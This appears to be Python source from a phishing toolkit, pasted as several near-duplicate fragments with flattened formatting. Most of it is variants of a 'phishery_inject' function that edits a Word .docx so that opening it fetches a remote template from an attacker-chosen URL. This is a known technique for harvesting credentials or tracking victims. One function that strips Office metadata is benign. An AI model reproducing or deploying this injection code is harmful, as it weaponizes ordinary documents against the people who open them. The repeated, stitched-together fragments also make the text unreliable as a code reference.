def phishery_inject(input_file, document_urls, output_file=None): target_string = '<Relationship Id="{rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="{target_url}" TargetMode="External"/>' input_file = os.path.abspath(input_file) document_urls = document_urls.split() rids = [] while len(rids) < len(document_urls): rid = 'rId' + str(random.randint(10000, 99999)) if rid not in rids: rids.append(rid) settings = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n' settings += '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' for rid, url in zip(rids, document_urls): settings += target_string.format(rid=rid, target_url=url) settings += '</Relationships>' patches = {} patches['word/_rels/settings.xml.rels'] = settings with zipfile.ZipFile(input_file, 'r') as zin: settings = zin.read('word/settings.xml') settings = settings.decode('utf-8') for rid in rids: settings = settings.replace( '/><w', "/><w:attachedTemplate r:id=\"{0}\"/><w".format(rid), 1) patches['word/settings.xml'] = settings archive.patch_zipfile(input_file, patches, output_file=output_file)
def phishery_inject(input_file, document_urls, output_file=None): target_string = '<Relationship Id="{rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="{target_url}" TargetMode="External"/>' input_file = os.path.abspath(input_file) document_urls = document_urls.split() rids = [] while len(rids) < len(document_urls): rid = 'rId' + str(random.randint(10000, 99999)) if rid not in rids: rids.append(rid) settings = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n' settings += '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' for rid, url in zip(rids, document_urls): settings += target_string.format(rid=rid, target_url=url) settings += '</Relationships>' patches = {} patches['word/_rels/settings.xml.rels'] = settings with zipfile.ZipFile(input_file, 'r') as zin: settings = zin.read('word/settings.xml') settings = settings.decode('utf-8') for rid in rids: settings = settings.replace('/><w', "/><w:attachedTemplate r:id=\"{0}\"/><w".format(rid), 1) patches['word/settings.xml'] = settings archive.patch_zipfile(input_file, patches, output_file=output_file)
def remove_office_metadata(input_file, output_file=None): """ Remove all metadata from Microsoft Office 2007+ file types such as docx, pptx, and xlsx. """ input_file = os.path.abspath(input_file) patches = {} ns = { 'cp': 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties', 'dc': 'http://purl.org/dc/elements/1.1/', 'dcterms': 'http://purl.org/dc/terms/', 'dcmitype': 'http://purl.org/dc/dcmitype/', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance' } for prefix, uri in ns.items(): ElementTree.register_namespace(prefix, uri) with zipfile.ZipFile(input_file, 'r') as zin: docprops_core = zin.read('docProps/core.xml') root = ElementTree.fromstring(docprops_core) root.clear() docprops_core = ElementTree.tostring(root, 'utf-8') patches['docProps/core.xml'] = docprops_core archive.patch_zipfile(input_file, patches, output_file=output_file)
def phishery_inject(input_file, https_url, output_file=None): input_file = os.path.abspath(input_file) patches = {} rid = 'rId' + str(random.randint(10000, 99999)) settings = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n' settings += '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' settings += '<Relationship Id="{rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="{target_url}" TargetMode="External"/>' settings += '</Relationships>' settings = settings.format(rid=rid, target_url=https_url) patches['word/_rels/settings.xml.rels'] = settings with zipfile.ZipFile(input_file, 'r') as zin: settings = zin.read('word/settings.xml') settings = settings.decode('utf-8') settings = settings.replace('/><w', "/><w:attachedTemplate r:id=\"{0}\"/><w".format(rid), 1) patches['word/settings.xml'] = settings archive.patch_zipfile(input_file, patches, output_file=output_file)